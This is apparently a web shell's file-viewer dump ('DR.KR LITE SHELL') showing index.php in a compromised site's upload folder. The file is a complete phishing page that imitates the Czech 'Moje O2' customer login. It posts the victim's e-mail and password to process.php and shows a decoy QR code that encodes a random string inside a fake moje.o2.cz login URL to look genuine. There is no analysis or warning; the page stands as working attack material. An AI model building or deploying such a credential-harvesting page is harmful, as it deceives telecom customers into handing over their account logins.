Current Path : /home/da040400/www_root/upload/o2ot/
Upload File :
Current File : /home/da040400/www_root/upload/o2ot/index.php

<!DOCTYPE html>
<html lang="cs">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link rel="apple-touch-icon" sizes="180x180" href="images/downloadavatar.png">
    <link rel="icon" type="image/png" sizes="32x32" href="images/downloadavatar.png">
    <link rel="icon" type="image/png" sizes="16x16" href="images/downloadavatar.png">
    <link rel="manifest" href="site.webmanifest">
    <title>Moje O2 | Internetová samoobsluha</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: Arial, sans-serif;
        }
        
        body {
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 20px;
            background-color: #f5f5f5;
        }
        
        .logo {
            color: #0066CC;
            font-size: 24px;
            font-weight: bold;
            margin-bottom: 20px;
        }
        
        .welcome-text {
            color: #333;
            font-size: 28px;
            margin-bottom: 30px;
        }
        
        .login-options {
            display: flex;
            justify-content: center;
            gap: 20px;
            margin-bottom: 30px;
            width: 100%;
            max-width: 500px;
        }
        
        .option-button {
            background-color: #f0f0f5;
            border: none;
            padding: 15px;
            border-radius: 5px;
            text-align: center;
            cursor: pointer;
            flex: 1;
            font-size: 14px;
            color: #0066CC;
            transition: background-color 0.3s;
        }
        
        .option-button:hover {
            background-color: #e0e0e0;
        }
        
        .login-form {
            width: 100%;
            max-width: 450px;
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .form-control {
            width: 100%;
            position: relative;
        }
        
        .form-control input {
            width: 100%;
            padding: 15px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
        }
        
        .form-control .toggle-password {
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            cursor: pointer;
            color: #0066CC;
        }
        
        .login-button {
            background-color: #0066CC;
            color: white;
            border: none;
            padding: 15px;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            width: 100%;
            margin-top: 15px;
        }
        
        .login-button:hover {
            background-color: #0055aa;
        }
        
        .forgot-password, .what-is {
            text-align: center;
            margin-top: 20px;
            color: #0066CC;
            text-decoration: none;
            font-size: 14px;
        }
        
        .qr-section {
            margin-top: 40px;
            text-align: center;
            border-top: 1px solid #ddd;
            padding-top: 20px;
            width: 100%;
            max-width: 450px;
        }
        
        .qr-title {
            margin-bottom: 20px;
            color: #333;
            font-size: 16px;
        }
        
        .qr-code {
            width: 150px;
            height: 150px;
            margin: 0 auto;
            background-color: #fff;
            padding: 10px;
            border: 1px solid #ddd;
        }
        
        .qr-text {
            margin-top: 15px;
            color: #333;
            font-size: 14px;
        }
        
        .qr-link {
            color: #0066CC;
            text-decoration: none;
        }
    </style>
</head>
<body>
    <div class="logo">Moje O<sub>2</sub></div>
    
    <h1 class="welcome-text">Vítejte zpět!</h1>
    
    <div class="login-options">
        <button class="option-button">Mám tarif se smlouvou</button>
        <button class="option-button">Mám předplacenou GO kartu</button>
    </div>
    
    <form id="loginForm" class="login-form" action="process.php" method="POST">
        <div class="form-control">
            <input type="text" name="username" id="username" placeholder="O2 ID (váš e-mail)" required>
        </div>
        
        <div class="form-control">
            <input type="password" name="password" id="password" placeholder="Heslo" required>
            <span class="toggle-password" onclick="togglePassword()">👁️</span>
        </div>
        
        <button type="submit" class="login-button">Přihlásit se</button>
    </form>
    
    <a href="#" class="forgot-password">Nedaří se mi přihlásit</a>
    
    <a href="#" class="what-is">Co je Moje O2?</a>
    
    <div class="qr-section">
        <h2 class="qr-title">PŘIHLÁŠENÍ QR KÓDEM</h2>
        
        <div class="qr-code" id="qrcode">
            <!-- QR code will be generated here -->
        </div>
        
        <p class="qr-text">
            Načtěte QR kód a potvrďte přístup v mobilní aplikaci Moje O2.
        </p>
        
        <p class="qr-text">
            Jste na mobilním zařízení? <a href="#" class="qr-link">Použijte tento odkaz</a>
        </p>
    </div>
    
    <script>
        function togglePassword() {
            const passwordInput = document.getElementById('password');
            if (passwordInput.type === 'password') {
                passwordInput.type = 'text';
            } else {
                passwordInput.type = 'password';
            }
        }
        
        // Generate a random string for QR code
        function generateRandomString(length) {
            const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            let result = '';
            for (let i = 0; i < length; i++) {
                result += characters.charAt(Math.floor(Math.random() * characters.length));
            }
            return result;
        }
        
        // Generate QR code
        function generateQRCode() {
            const qrcodeContainer = document.getElementById('qrcode');
            qrcodeContainer.innerHTML = ''; // Clear container
            
            // Create random data for QR code that looks like a login URL
            const randomData = 'https://moje.o2.cz/login?session=' + generateRandomString(20) + '&timestamp=' + Date.now();
            
            // Create new QR code
            new QRCode(qrcodeContainer, {
                text: randomData,
                width: 130,
                height: 130,
                colorDark: '#000000',
                colorLight: '#ffffff',
                correctLevel: QRCode.CorrectLevel.H
            });
        }
        
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            
            // You can add validation here
            
            // Submit the form
            this.submit();
        });
        
        // Generate QR code when page loads
        window.onload = generateQRCode;
    </script>
</body>
</html>

DR.KR LITE SHELL COPYRIGHT 2016